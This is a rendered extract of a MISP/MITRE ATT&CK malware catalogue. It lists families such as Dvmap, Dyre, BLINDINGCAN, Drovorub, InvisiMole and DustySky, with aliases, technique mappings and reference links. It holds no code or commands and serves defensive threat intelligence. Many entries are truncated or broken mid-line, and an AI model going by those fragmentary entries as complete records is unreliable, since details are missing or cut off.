<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Dvmap - S0420

[Dvmap](https://attack.mitre.org/software/S0420) is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.(Citation: SecureList DVMap June 2017)

The tag is: `misp-galaxy:mitre-malware="Dvmap - S0420"

Dvmap - S0420 is also known as:

- Dvmap

View relationships graph

Dvmap - S0420 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

Table 6663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0420">https://attack.mitre.org/software/S0420</a></td>
</tr>
</tbody>
</table>

Dyre - S0024

[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial
The tag is: misp-galaxy:mitre-malware="Dyre - S0024"

Dyre - S0024 is also known as:

- Dyre
- Dyzap
- Dyreza

View relationships graph

Dyre - S0024 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0024">https://attack.mitre.org/software/S0024</a></td>
</tr>
</tbody>
</table>

CALENDAR - S0025

[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="CALENDAR - S0025"*

CALENDAR - S0025 is also known as:

• CALENDAR

View relationships graph

CALENDAR - S0025 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"

Table 6665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0025">https://attack.mitre.org/software/S0025</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>
BLINDINGCAN - S0520

[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)

The tag is: *misp-galaxy:mitre-malware="BLINDINGCAN - S0520"*

BLINDINGCAN - S0520 is also known as:

- BLINDINGCAN

View relationships graph

BLINDINGCAN - S0520 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"* with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6666. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[<a href="https://attack.mitre.org/software/S0520">https://attack.mitre.org/software/S0520</a>]</td>
</tr>
<tr>
<td>[<a href="https://digital.nhs.uk/cyber-alerts/2020/cc-3603">https://digital.nhs.uk/cyber-alerts/2020/cc-3603</a>]</td>
</tr>
<tr>
<td>[<a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a</a>]</td>
</tr>
</tbody>
</table>

OnionDuke - S0052

OnionDuke ([https://attack.mitre.org/software/S0052](https://attack.mitre.org/software/S0052)) is malware that was used by [APT29]([https://attack.mitre.org/groups/G0016](https://attack.mitre.org/groups/G0016)) from 2013 to 2015. (Citation: F-Secure The Dukes)

The tag is: `misp-galaxy:mitre-malware="OnionDuke - S0052"`

OnionDuke - S0052 is also known as:

• OnionDuke

View relationships graph

OnionDuke - S0052 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
Drovorub - S0502

[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: NSA/FBI Drovorub August 2020)

The tag is: `misp-galaxy:mitre-malware="Drovorub - S0502"`

Drovorub - S0502 is also known as:

- Drovorub

View relationships graph

Drovorub - S0502 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

### Table 6668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0502">https://attack.mitre.org/software/S0502</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF">https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF</a></td>
</tr>
</tbody>
</table>

**Naid - S0205**

[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)

The tag is: **misp-galaxy:mitre-malware="Naid - S0205"**

Naid - S0205 is also known as:

- Naid

**View relationships graph**

Naid - S0205 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

### Table 6669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0205">https://attack.mitre.org/software/S0205</a></td>
</tr>
</tbody>
</table>

3628
GLOOXMAIL - S0026

[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)

The tag is: `misp-galaxy:mitre-malware="GLOOXMAIL - S0026"`

GLOOXMAIL - S0026 is also known as:

- GLOOXMAIL
- Trojan.GTALK

View relationships graph

GLOOXMAIL - S0026 has relationships with:

- similar: [misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"
- uses: [misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

Table 6670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0026">https://attack.mitre.org/software/S0026</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>

Circles - S0602

[Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group. (Citation: CitizenLab Circles)

The tag is: `misp-galaxy:mitre-malware="Circles - S0602"`

Circles - S0602 is also known as:

- Circles

View relationships graph
Circles - S0602 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Impersonate SS7 Nodes - T1430.002" with estimative-language:likelihood-probability="almost-certain"

**Table 6671. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0602">https://attack.mitre.org/software/S0602</a></td>
</tr>
</tbody>
</table>

**DustySky - S0062**

[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)

The tag is: *misp-galaxy:mitre-malware="DustySky - S0062"*

DustySky - S0062 is also known as:

- DustySky
- NeD Worm

**View relationships graph**

DustySky - S0062 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6672. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0062">https://attack.mitre.org/software/S0062</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/">https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/</a></td>
</tr>
</tbody>
</table>

**InvisiMole - S0260**

[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims. (Citation: ESET InvisiMole June 2018) (Citation: ESET InvisiMole June 2020)
InvisiMole - S0260 is also known as:

- InvisiMole

View relationships graph

InvisiMole - S0260 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 6673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0260">https://attack.mitre.org/software/S0260</a></td>
</tr>
</tbody>
</table>
**Wiarp - S0206**

Wiarp - S0206 is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)

The tag is: `misp-galaxy:mitre-malware="Wiarp - S0206"`

Wiarp - S0206 is also known as:

- Wiarp

**View relationships graph**

Wiarp - S0206 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

**Table 6674. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0206">https://attack.mitre.org/software/S0206</a></td>
</tr>
</tbody>
</table>

**OwaAuth - S0072**

OwaAuth - S0072 is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)

The tag is: `misp-galaxy:mitre-malware="OwaAuth - S0072"`

OwaAuth - S0072 is also known as:

- OwaAuth

**View relationships graph**

OwaAuth - S0072 has relationships with:
**Table 6675. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0072">https://attack.mitre.org/software/S0072</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage">https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage</a></td>
</tr>
</tbody>
</table>

**RogueRobin - S0270**

[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)

The tag is: `misp-galaxy:mitre-malware="RogueRobin - S0270"`

RogueRobin - S0270 is also known as:

- RogueRobin

**View relationships graph**

RogueRobin - S0270 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"` with estimative-
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6676. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0270">https://attack.mitre.org/software/S0270</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/">https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/</a></td>
</tr>
</tbody>
</table>
**Vasport - S0207**

[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)

The tag is: *misp-galaxy:mitre-malware="Vasport - S0207"*

Vasport - S0207 is also known as:

- Vasport

**View relationships graph**

Vasport - S0207 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6677. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0207">https://attack.mitre.org/software/S0207</a></td>
</tr>
</tbody>
</table>

**Zeroaccess - S0027**

[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)

The tag is: *misp-galaxy:mitre-malware="Zeroaccess - S0027"*

**View relationships graph**

Zeroaccess - S0027 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

**SHIPSHAPE - S0028**

[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: **misp-galaxy:mitre-malware="SHIPSHAPE - S0028"**

**View relationships graph**

SHIPSHAPE - S0028 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

**Emissary - S0082**

[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)

The tag is: **misp-galaxy:mitre-malware="Emissary - S0082"**

Emissary - S0082 is also known as:

• Emissary
Emissary - S0082 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/">http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0082">https://attack.mitre.org/software/S0082</a></td>
</tr>
</tbody>
</table>
**MirageFox - S0280**

[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)

The tag is: `misp-galaxy:mitre-malware="MirageFox - S0280"`

